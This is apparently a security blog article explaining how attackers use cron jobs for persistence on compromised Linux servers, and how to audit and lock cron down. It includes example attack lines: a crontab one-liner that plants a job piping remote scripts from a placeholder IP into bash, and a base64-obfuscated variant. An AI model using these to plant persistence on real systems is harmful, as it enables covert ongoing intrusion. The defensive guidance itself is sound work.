InfraRunBook
    Back to articles

    Why Cron Jobs Are a Common Attack Vector on Compromised Servers

    Cyber Security for Servers
    Published: Aug 25, 2026
    Updated: Aug 25, 2026

    A practical breakdown of why attackers gravitate toward cron for persistence on compromised Linux servers, how to spot the telltale signs, and how to lock cron down for good.

    Why Cron Jobs Are a Common Attack Vector on Compromised Servers

    If you've ever done incident response on a Linux box that got popped, there's a good chance you found something sitting quietly in cron. I have seen this happen more times than I can count: a server gets compromised through a vulnerable web app or a leaked SSH key, the attacker does their initial damage, and then they plant a cron entry so they can come back even after you think you've cleaned up. Cron is boring, invisible, and trusted by default — which makes it one of the best persistence mechanisms an attacker can ask for.

    Symptoms

    The signs are usually subtle at first. You might notice outbound connections to IPs or domains you don't recognize, showing up in

    netstat
    or firewall logs at suspiciously regular intervals, like every minute or every five minutes. That regularity is the giveaway — human activity is messy, cron is metronomic.

    Other common symptoms include unexplained CPU spikes at fixed times (cryptominers love this), a server that keeps reappearing in a botnet even after you've killed the malicious process, new user accounts or SSH keys you didn't create, or outbound mail/spam suddenly originating from your box. Sometimes it's more mundane:

    /var/log/cron
    or
    /var/log/syslog
    shows a CRON entry running a command you've never seen, like:

    Aug 25 03:00:01 sw-infrarunbook-01 CRON[18422]: (infrarunbook-admin) CMD (curl -s http://192.168.44.12/update.sh | bash)
    

    If you see anything piping curl or wget straight into a shell from cron, stop what you're doing and treat that host as compromised.

    Root Cause 1: Cron runs with the permissions of whoever owns it — often root

    This is the fundamental reason cron is such a juicy target. System-wide cron jobs defined in

    /etc/crontab
    or
    /etc/cron.d/
    run as root unless a different user is specified in the job line. If an attacker gets even a foothold — say, a web shell running as
    www-data
    — and they can write to any of these locations, they've just escalated to root-level persistence without needing a kernel exploit.

    To identify this, check who owns and can write to the cron directories:

    ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/crontab
    stat -c '%U %G %a %n' /etc/crontab
    

    If permissions are anything looser than

    644
    owned by root, or if a web server user has write access to any parent directory, that's your entry point. Fix it:

    chown root:root /etc/crontab /etc/cron.d -R
    chmod 644 /etc/crontab
    chmod 755 /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly
    

    Root Cause 2: Per-user crontabs are easy to plant and easy to miss

    Every user on the system can have their own crontab, stored in

    /var/spool/cron/crontabs/
    on Debian-based systems or
    /var/spool/cron/
    on RHEL-based ones. These are rarely audited because admins tend to only check
    /etc/crontab
    . An attacker who compromises any user account — even a low-privilege one — can drop a persistence job into that user's crontab with a single command, no root required:

    (crontab -l 2>/dev/null; echo "*/5 * * * * curl -fsSL http://192.168.44.12/beacon.sh | bash") | crontab -
    

    I've seen this exact pattern used to maintain access to a Node.js app server after the initial vulnerability (an outdated dependency) was patched. The dev team thought they were clean because they fixed the app, but the cron entry survived the fix.

    To check every user's crontab, don't rely on the currently logged-in user:

    for user in $(cut -f1 -d: /etc/passwd); do
      echo "=== $user ===";
      crontab -u "$user" -l 2>/dev/null;
    done
    

    Anything unexpected gets removed with

    crontab -u username -r
    after you've captured a copy for forensics (never delete evidence before you've saved it somewhere safe).

    Root Cause 3: Cron directories are writable by too many people

    This is closely related to cause 1, but it deserves its own callout because it's so common in shared hosting or multi-tenant environments. If

    /etc/cron.d/
    or a drop-in directory is group-writable, or if a deploy script runs with overly broad permissions and creates files there with
    0666
    , any compromised account in that group can drop a job.

    Check for world-writable or group-writable cron files across the whole system:

    find / -path /proc -prune -o \( -name 'crontab' -o -path '*/cron.d/*' -o -path '*/cron.hourly/*' -o -path '*/cron.daily/*' \) -perm -o+w -print 2>/dev/null
    

    If that command returns anything, you have a real problem. Fix ownership and permissions immediately, and audit what created that file in the first place — usually it's a deployment tool or a Docker entrypoint script that ran with a too-permissive umask.

    Root Cause 4: Base64 or hex-encoded payloads hide malicious intent from casual review

    Attackers know admins sometimes skim cron output rather than read it carefully. A quick

    crontab -l
    that shows something like this can slip right past a tired sysadmin at 2 AM:

    */10 * * * * echo Y3VybCAtcyBoWFRQOi8vMTkyLjE2OC40NC4xMi9wIHwgc2g= | base64 -d | bash
    

    That decodes to a curl-pipe-to-shell command. This is exactly why you should never eyeball cron entries and assume they're benign just because they look like noise. Decode anything suspicious before dismissing it:

    echo 'Y3VybCAtcyBoWFRQOi8vMTkyLjE2OC40NC4xMi9wIHwgc2g=' | base64 -d
    

    When auditing, grep specifically for encoding tells across all cron locations:

    grep -rE 'base64|xxd -r|openssl enc|printf.*\\x' /etc/crontab /etc/cron.d/ /var/spool/cron/ 2>/dev/null
    

    Root Cause 5: No logging or auditing on crontab and cron directory changes

    The reason cron persistence often goes undetected for weeks is that most servers don't log who edited a crontab or when. The default cron daemon just logs job execution, not job creation. Without file integrity monitoring, an attacker can add, remove, and re-add jobs freely and you'd never know unless you happened to run

    crontab -l
    at the right moment.

    The fix here is auditd. Add watch rules for the key cron paths:

    auditctl -w /etc/crontab -p wa -k cron_mod
    auditctl -w /etc/cron.d/ -p wa -k cron_mod
    auditctl -w /var/spool/cron/crontabs/ -p wa -k cron_mod
    

    Make these persistent by adding them to

    /etc/audit/rules.d/cron.rules
    , then restart auditd. From then on, any modification shows up in
    ausearch -k cron_mod
    with the exact process and user responsible — invaluable during an actual incident because you can pinpoint the moment of compromise instead of guessing.

    Root Cause 6: Cron jobs referencing scripts in world-writable directories

    Even a legitimate, root-owned cron entry can become an attack vector if the script it calls lives somewhere an unprivileged user can modify. I've seen this in the wild with a job like:

    0 * * * * root /tmp/cleanup.sh
    

    /tmp
    is world-writable with the sticky bit, sure, but that only protects against other users deleting the file — not against a user simply overwriting a file they don't own if the original permissions were loose, or replacing it entirely if it doesn't exist yet and they win the race. If
    /tmp/cleanup.sh
    doesn't exist and root cron tries to run it, anyone can create it first and get root execution on the next run.

    Check every cron job's target script and its full parent path for writability:

    namei -l /tmp/cleanup.sh
    

    Move operational scripts to

    /opt/
    or
    /usr/local/sbin/
    with root-only write permissions, never
    /tmp
    ,
    /var/tmp
    , or any directory writable by application service accounts.

    Root Cause 7: Compromised application accounts inherit cron access nobody thought about

    A lot of teams run their app under a dedicated service account — say,

    deploy
    or
    www-data
    — and never think about whether that account can schedule cron jobs. On most distros, if there's no
    /etc/cron.allow
    file, every user listed in
    /etc/passwd
    who isn't explicitly in
    /etc/cron.deny
    can use crontab. That means a web app RCE instantly grants cron scheduling capability, not just command execution in that one request.

    Check what the current policy allows:

    cat /etc/cron.allow 2>/dev/null
    cat /etc/cron.deny 2>/dev/null
    

    If neither file exists, cron defaults to allowing everyone. Lock this down by creating an explicit allow list containing only the accounts that genuinely need scheduling rights:

    echo infrarunbook-admin > /etc/cron.allow
    chmod 600 /etc/cron.allow
    

    Now any other account, including compromised app service accounts, gets

    you (username) are not allowed to use this program
    if they try
    crontab -e
    .

    Root Cause 8: Systemd timers and anacron get overlooked during cleanup

    This one bites a lot of people during incident response. They clean up

    /etc/crontab
    , wipe every user's crontab, and declare victory — but the attacker actually used a systemd timer unit or an anacron entry in
    /etc/cron.daily/
    , which nobody thought to check because "cron" in their mental model only means crontab files.

    List all systemd timers and look for anything unfamiliar:

    systemctl list-timers --all
    systemctl cat suspicious-timer.timer
    

    And check every anacron drop-in individually, since a malicious script in

    /etc/cron.daily/
    just needs to be executable to run:

    ls -la /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
    file /etc/cron.daily/*
    

    Any script here that isn't part of your standard package installs (logrotate, apt, man-db, etc.) deserves a hard look. Compare against a known-good baseline from a freshly provisioned host if you have one.

    Prevention

    None of this is complicated once you build the habit. Bake a cron audit into your regular server hardening checklist rather than treating it as an incident-response afterthought. A few things I do on every server I manage now: enforce

    /etc/cron.allow
    with an explicit list, put auditd watches on every cron-related path, and run a weekly diff of all crontabs against a known baseline stored in version control.

    Also worth doing: disable cron entirely on hosts that don't need it. A stateless container or a worker node that's fully managed by an orchestrator often has no legitimate reason to run cron at all, and an unused, unmonitored service is exactly the kind of thing attackers rely on.

    systemctl disable --now cron
    systemctl mask cron
    

    File integrity monitoring tools like AIDE or Wazuh will flag changes to cron paths automatically, which saves you from having to remember to check manually. And when you do a post-incident cleanup, always assume cron, systemd timers, and anacron are three separate things that all need checking — not one thing under a different name. That assumption alone would have saved a lot of the re-compromises I've seen where a team thought they'd cleaned house but missed the timer unit sitting quietly in

    /etc/systemd/system/
    .

    Finally, treat any cron entry that pipes remote content into a shell interpreter as an automatic incident, full stop. There's no legitimate operational reason for

    curl | bash
    or
    wget -O- | sh
    to exist in production cron. If you find it, isolate the host, rotate credentials, and start your investigation from there rather than just deleting the line and moving on.

    Frequently Asked Questions

    Why do attackers prefer cron over other persistence methods?

    Cron is trusted, low-visibility, and often runs with elevated privileges. Unlike installing a rootkit or modifying a kernel module, dropping a cron entry requires no special exploit and blends in with normal system administration activity, making it easy to miss during a quick review.

    How can I quickly check if my server has a malicious cron job right now?

    Check /etc/crontab, everything in /etc/cron.d/, every user's crontab with crontab -u username -l, and systemd timers with systemctl list-timers --all. Look specifically for entries that download and execute remote content, base64-encoded commands, or jobs running at unusual intervals like every minute.

    Is it enough to just delete the malicious cron entry and move on?

    No. If an attacker got far enough to write to cron, they likely have other footholds too, such as SSH keys, additional user accounts, or a web shell. Removing the cron entry without a full investigation usually just delays reinfection.

    Does restricting /etc/cron.allow actually stop root-owned cron jobs from being abused?

    It stops unprivileged or compromised accounts from scheduling their own jobs, but it doesn't protect against an attacker who already has root or who can write to /etc/cron.d/. You still need correct file permissions and auditd monitoring on top of the allow list.

    Can containerized environments still be affected by malicious cron jobs?

    Yes, if the container image or host runs a cron daemon unnecessarily. Many stateless services don't need cron at all, and disabling it entirely removes that attack surface rather than trying to secure a service that isn't required.

    Related Articles